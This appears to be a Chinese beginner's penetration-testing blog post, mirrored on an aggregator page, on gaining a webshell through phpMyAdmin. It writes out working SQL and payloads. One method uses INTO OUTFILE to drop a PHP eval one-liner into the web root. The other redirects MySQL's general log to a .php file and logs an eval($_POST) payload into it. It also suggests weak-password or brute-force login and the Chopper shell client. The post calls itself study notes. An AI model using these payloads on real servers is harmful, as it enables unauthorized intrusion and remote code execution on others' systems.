zoukankan      html  css  js  c++  java
  • 【渗透测试小白系列】之利用PHPMyAdmin Getshell

    (本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

     

    该文章参考https://www.jianshu.com/p/ddd41b841c36很详细,感谢!!!本文仅为了学习交流,严禁非法使用!!!

     

    一、使用into outfile写入一句话木马

    (注:使用这个方法需要知道网站的绝对路径,可以通过报错获取路径、通过phpinfo.php等等,然后写一句话木马到源码的存放位置中)

    1.查看全局变量中的安全文件优先级,如果该参数设置为空或指定的文件夹才可利用

    show global variables like ‘%secure-file-prie%’;

    • 当secure_file_priv的值为NULL时,表示限制MySQL不允许导入导出,要想使得木马写入成功,则需要在mysql文件夹下修改my.ini 文件在[mysqld]内加入secure_file_priv =""
    select “<?php @eval($_POST[w]);?>” into outfile “/var/www/html/muma.php”

     

    二、利用PHPMyAdmin日志文件Getshell

    常见的日志文件分为:业务(常见服务)日志和系统(Windows或Linux)日志

    (注:MySQL 版本>5.0会创建日志文件,日志文件是全局遍历,并可读写)

    • 通过弱口令或爆破的方式登录PHPMyAdmin,执行SQL语句
    select @@datadir;  查看数据存放位置
    • 猜测源码的存放位置,D:phpstudy_prowww

    • 查看日志状态
    show variables like '%general%';

    • 开启日志记录功能,并修改记录的路径和文件名
    set global general_log='on';

    set global general_log_file='F:\phpStudy_64\phpstudy_pro\www\log.php'

    • 查看日志状态
    show variables like '%general%';

    • 在该文件中写木马
    select "<?php eval($_POST[k]);?>"

    • 打开log.php文件,发现木马已被写入

    • 浏览器访问,并设置k值,可以看到PHP信息,GetShell成功

    • 也可使用菜刀GetShell
  • 相关阅读:
    2020年SpringBoot面试题
    Java自带的性能监测工具
    jvm怎么判断哪些对象应该回收呢
    IDEA版本破解
    透彻解析Java类加载机制
    C# DataGridView使用BindingNavigator实现简单分页功能
    C# DataGridView使用自定义控件实现简单分页功能
    C# DataGridView自动保存列的宽度和位置
    C# DataGridView右键菜单自定义显示及隐藏列
    转:C# String为值类型还是引用类型
  • 原文地址:https://www.cnblogs.com/yankaohaitaiwei/p/11788449.html
Copyright © 2011-2022 走看看